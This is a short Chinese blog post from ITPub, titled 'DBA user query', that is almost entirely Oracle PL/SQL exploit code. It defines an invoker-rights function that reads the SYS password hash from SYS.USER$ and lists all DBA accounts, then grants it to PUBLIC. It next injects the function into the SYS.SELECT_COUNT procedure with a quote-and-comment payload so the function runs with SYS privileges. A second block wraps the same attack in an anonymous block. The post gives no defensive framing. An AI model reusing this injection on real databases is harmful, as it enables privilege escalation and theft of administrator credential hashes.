ITPub博客

首页 > 数据库 > Oracle > DBA用户查询

DBA用户查询

原创 Oracle 作者:pcsh 时间:2010-05-19 09:32:03 0 删除 编辑

CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''';
EXECUTE IMMEDIATE STMT INTO BUFF;
DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF);
OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=''DBA''';
LOOP
FETCH CV INTO BUFF;
DBMS_OUTPUT.PUT_LINE(BUFF || ' IS A DBA.');
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;

RETURN 'FOO';
END;
/
GRANT EXECUTE ON GET_IT TO PUBLIC;

SELECT SYS.SELECT_COUNT('FOO'' || SCOTT.GET_IT()--') FROM DUAL;

[@more@]

封装到存储过程:

DECLARE
CNT NUMBER;
BEGIN
CNT:=SYS.SELECT_COUNT('SYS'' || SCOTT.GET_IT()--');
DBMS_OUTPUT.PUT_LINE(CNT);
END;
/

来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/13442480/viewspace-1033711/ ,如需转载,请注明出处,否则将追究法律责任。

下一篇: 产品分析设计
请登录后发表评论 登录
全部评论

注册时间:2012-01-30

  • 博文量
    78
  • 访问量
    2137283